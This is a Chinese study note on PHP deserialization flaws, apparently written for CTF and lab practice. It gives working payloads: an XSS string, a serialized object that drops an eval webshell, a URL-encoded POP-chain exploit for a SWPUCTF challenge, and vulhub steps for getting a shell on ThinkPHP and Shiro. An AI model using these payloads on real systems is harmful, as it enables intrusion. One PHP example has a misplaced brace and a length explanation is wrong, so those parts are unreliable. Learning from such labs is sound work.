PHP反序列化
涉及函数
序列化:serialize()
反序列化:unserialize()
反序列化漏洞原理
序列化:将对象的状态信息转换为可以存储或传输的形式的过程,一般将对象转换为字节流。序列化时,对象的当前状态被写入到临时或持久性存储区(文件、内存、数据库等)。
反序列化:从序列化的表示形式中提取数据,即把有序字节流恢复为对象的过程
反序列化攻击:攻击者控制了序列化后的数据,将有害数据传递到应用程序代码中,发动针对应用程序的攻击。
基础
序列化:
将对象序列化为字符串
<?php
class person{
public $name='zhangsan';
public $sex='boy';
public $age='18';
}
$zhangsan=new person();
$str=serialize($zhangsan);
echo $str;
?>
O:6:"person":3:{s:4:"name";s:8:"zhangsan";s:3:"sex";s:3:"boy";s:3:"age";s:2:"18";}
O代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示
6 代表类名字占三个字符
person 类名
3 代表三个属性
s代表字符串
4代表属性名长度
name属性名
s:4:"name" 字符串 属性值长度 属性值
protected和private有不可打印字符,需进行url编码再输出
protected属性被序列化后属性名长度会增加3,因为属性名会变成%00*%00属性名。
private属性被序列化后属性名会变成%00类名%00属性名。
反序列化:
将字符串反序列化为对象
<?php
class person{
public $name='zhangsan';
public $sex='boy';
public $age='18';
}
public function __destruct(){
echo 22222222;
}
}
$a='O:6:"person":3:{s:4:"name";s:8:"zhangsan";s:3:"sex";s:3:"boy";s:3:"age";s:2:"18";}';
$str=unserialize($a);
?>
常见魔术方法
__construct(),类的构造函数,当一个对象创建时被调用
__destruct(),类的析构函数,当一个对象销毁时被调用
__call(),在对象中调用一个不可访问/不存在的方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),在给不可访问(private或protected)或不存在的属性赋值时触发
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时会调用该方法
__invoke(),当脚本尝试将对象调用为函数时触发
__set_state(),调用var_export()导出类时,此静态方法会被调用
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
PHP反序列化例子
例1
执行带有魔术方法的a.php文件,这段代码为序列化,可以理解成编码。
获取序列化的值
O:1:"S":1:{s:4:"test";s:25:"<script>alert(1)</script>";}
输入到输入框中执行,执行成功(接下来就是就是解码(反序列化))
例2
后台设置代码
执行index.php文件
在url栏上输入O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源代码,获得flag
例3
后台设置代码
运行11.php文件,获得序列化后的值
O:6:"person":3:{s:4:"name";s:27:"<?php eval($_REQUEST[a]);?>";s:3:"sex";s:3:"boy";s:3:"age";s:2:"18";}
在url栏上输入
?id=O:6:"person":3:{s:4:"name";s:27:"<?php%20eval($_REQUEST[a]);?>";s:3:"sex";s:3:"boy";s:3:"age";s:2:"18";}
查看源码
在后台可以看到生成了shell.php文件
例4:CTF笔记 [SWPUCTF 2021 新生赛]pop
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
$w00m = new w22m();
$w00m->w00m = new w33m();
$w00m->w00m->w00m = new w44m();
$w00m->w00m->w22m = 'Getflag';
echo urlencode(serialize($w00m));
?>
$this->w00m->{$this->w22m}();
会调用函数,所以只需要给$w00m
赋一个w44m
类,然后再给w22m
赋一个Getflag
就能成功调用该函数。考虑一下如何调用这个
w33m
类呢??上面写过__toString()
这个方法会在一个对象被当作字符串时被调用,于是我们就能看到下面w22m
这个类里面的echo
函数。我们只要给w00m
赋一个w33m
类,就能调用。destruct函数会在对象被销毁时调用
需要自己添加的内容
获取序列化后的值
在url栏上输入 ,获取flag
?w00m=O%3A4%3A"w22m"%3A1%3A%7Bs%3A4%3A"w00m"%3BO%3A4%3A"w33m"%3A2%3A%7Bs%3A4%3A"w00m"%3BO%3A4%3A"w44m"%3A2%3A%7Bs%3A11%3A"%00w44m%00admin"%3Bs%3A4%3A"w44m"%3Bs%3A9%3A"%00%2A%00passwd"%3Bs%3A5%3A"08067"%3B%7Ds%3A4%3A"w22m"%3Bs%3A7%3A"Getflag"%3B%7D%7D
ThinkPHP漏洞并使用工具
在vulhub文件内找到ThinkPHP漏洞
下载需要的文件
ThinkPHP漏洞的图标
登录网站
启动ThinkPHP工具,发现存在include漏洞
设置改为include漏洞,getshell上传木马
连接蚁剑
shiro漏洞并使用工具
在vulhub文件内找到shiro漏洞
登录网站
抓包查看是否是shiro漏洞
使用shiro工具
执行命令
可以连接冰蝎